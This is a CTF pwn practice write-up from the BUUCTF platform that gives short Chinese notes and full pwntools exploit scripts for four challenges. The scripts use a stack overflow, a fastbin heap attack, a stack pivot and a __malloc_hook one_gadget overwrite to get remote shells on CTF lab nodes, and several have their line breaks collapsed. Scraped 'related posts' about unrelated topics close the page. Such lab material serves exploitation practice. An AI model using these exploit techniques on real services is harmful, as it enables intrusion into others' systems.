PWN-PRACTICE-BUUCTF-16

mrctf2020_easyoverflow
hitcontraining_magicheap
ciscn_2019_s_4
0ctf_2017_babyheap

mrctf2020_easyoverflow

覆盖main函数中的v5，使之为"n0t_r3@11y_f1@g"

from pwn import *
r=remote("node4.buuoj.cn",29521)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

hitcontraining_magicheap

参考：picoctf_2018_buffer overflow_1&&pwnable_start&&hitcontraining_magicheap

from pwn import *
io=remote("node4.buuoj.cn",27011)
#io=process("./magicheap")
elf=ELF("./magicheap")def create(size,content):io.sendlineafter("choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("choice :","3")io.sendlineafter("Index :",str(index))
def getshell():io.sendlineafter("choice :","4869")heaparray=0x00000000006020C0
fake_chunk_prev_size=heaparray-0x38+5#gdb.attach(io)
#pause()create(0x10,"a"*8)#chunk0
create(0x10,"b"*8)#chunk1
create(0x60,"c"*8)#chunk2#pause()delete(2)#pause()payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk_prev_size)
edit(1,len(payload),payload)#pause()create(0x60,"c"*8)#chunk2
create(0x60,"d"*8)#fake_chunk#pause()payload="d"*3+p64(0x1305+1)
edit(2,len(payload),payload)getshell()io.interactive()

ciscn_2019_s_4

泄露栈地址，然后栈迁移

from pwn import *
context.log_level="debug"
#io=process('./ciscn_s_4')
io=remote('node4.buuoj.cn',28112)
elf=ELF('./ciscn_s_4')input_stk_offset=0x50
leave_ret=0x080484b8
system=0x08048559#gdb.attach(io,"break * 0x080485CD")io.recvuntil('your name?\n')
payload='a'*(40-4)+'b'*4
io.send(payload)
io.recvuntil('bbbb')
io.recv(12)
stk=u32(io.recv(4))
input_stk=stk-input_stk_offset
io.recvuntil('\n')
payload='a'*4+p32(system)+p32(input_stk+12)+'/bin/sh\x00'
payload=payload.ljust(0x28,'\x00')
payload+=p32(input_stk)
payload+=p32(leave_ret)
io.send(payload)
io.interactive()

0ctf_2017_babyheap

参考：0ctf_2017_babyheap

from pwn import *
context.log_level="debug"
io=remote("node4.buuoj.cn",28235)
#io=process("./0ctf_2017_babyheap")
elf=ELF("./0ctf_2017_babyheap")
libc=ELF("./libc-2.23-16-x64.so")
def alloc(size):io.sendlineafter("Command: ","1")io.sendlineafter("Size: ",str(size))
def fill(index,size,content):io.sendlineafter("Command: ","2")io.sendlineafter("Index: ",str(index))io.sendlineafter("Size: ",str(size))io.sendlineafter("Content: ",content)
def free(index):io.sendlineafter("Command: ","3")io.sendlineafter("Index: ",str(index))
def dump(index):io.sendlineafter("Command: ","4")io.sendlineafter("Index: ",str(index))#gdb.attach(io)
#pause()alloc(0x10)#0
alloc(0x10)#1
alloc(0x80)#2
alloc(0x20)#3
alloc(0x60)#4
alloc(0x10)#5#pause()payload="a"*0x18+p64(0xb1)
fill(0,len(payload),payload)
free(1)
alloc(0xa0)#1 calloc
payload="b"*0x10+p64(0)+p64(0x91)
fill(1,len(payload),payload)
free(2)
dump(1)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))#pause()free(4)
payload="c"*0x20+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
fill(3,len(payload),payload)
alloc(0x60)#2
alloc(0x60)#4 fake chunk
one_gadget=libc_base+0x4526a
payload="\x00"*0x13+p64(one_gadget)
fill(4,len(payload),payload)#pause()alloc(1)io.interactive()

PWN-PRACTICE-BUUCTF-16相关推荐

关于16路舵机控制器、24路舵机控制器与总线舵机控制器
在开发机器人的过程中,可以采用舵机控制器去直接驱动舵机,开发者不需要在底层舵机驱动上消耗更多时间,这样可以用更多的精力去实现机器人的智能化功能. 幻尔出品了多款舵机控制器,供机器人开发者们选择.相信不 ...
Deep Residual Learning for Image Recognition（ResNet）论文翻译及学习笔记
[论文翻译]:Deep Residual Learning for Image Recognition [论文来源]:Deep Residual Learning for Image Recognit ...
图像分类经典卷积神经网络—ResNet论文翻译（中英文对照版）—Deep Residual Learning for Image Recognition（深度残差学习的图像识别）
图像分类经典论文翻译汇总:[翻译汇总] 翻译pdf文件下载:[下载地址] 此版为中英文对照版,纯中文版请稳步:[ResNet纯中文版] Deep Residual Learning for Image ...
深度学习论文阅读图像分类篇（五）：ResNet《Deep Residual Learning for Image Recognition》
深度学习论文阅读图像分类篇(五):ResNet<Deep Residual Learning for Image Recognition> Abstract 摘要 1. Introduct ...
【论文翻译】Deep Residual Learning for Image Recognition
[论文翻译]Deep Residual Learning for Image Recognition [论文题目]Deep Residual Learning for Image Recognitio ...
ResNet论文翻译——中英文对照+标注总结
Deep Residual Learning for Image Recognition 文章目录 Deep Residual Learning for Image Recognition Abstr ...
论文翻译[Deep Residual Learning for Image Recognition]
论文来源:Deep Residual Learning for Image Recognition [翻译人]:BDML@CQUT实验室 Deep Residual Learning for Imag ...
ResNet论文翻译——中英文对照
文章作者:Tyan 博客:noahsnail.com | CSDN | 简书声明:作者翻译论文仅为学习,如有侵权请联系作者删除博文,谢谢! 翻译论文汇总:https://github.com ...
模拟彩票随机抽选机制
模拟彩票随机抽选机制(大乐透,七星彩) 一.背景 17亿巨奖得主身份成谜缴税后到手奖金不到4成女子探亲老公购彩命中7星彩500万自选号送惊喜男子8+2小复式揽双色球598万奖金全交爱人打理 ...
SSM二十大新闻网站系统-计算机毕设附源码96856
SSM二十大新闻网站系统目录摘要 1 1 绪论 1 1.1研究意义 1 1.2研究目的 1 1.3系统开发技术的特色 1 1.4ssm框架介绍 1 1.5论文结构与章节安排 1 2二十大新闻网 ...

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16

mrctf2020_easyoverflow

hitcontraining_magicheap

ciscn_2019_s_4

0ctf_2017_babyheap

PWN-PRACTICE-BUUCTF-16相关推荐

最新文章

热门文章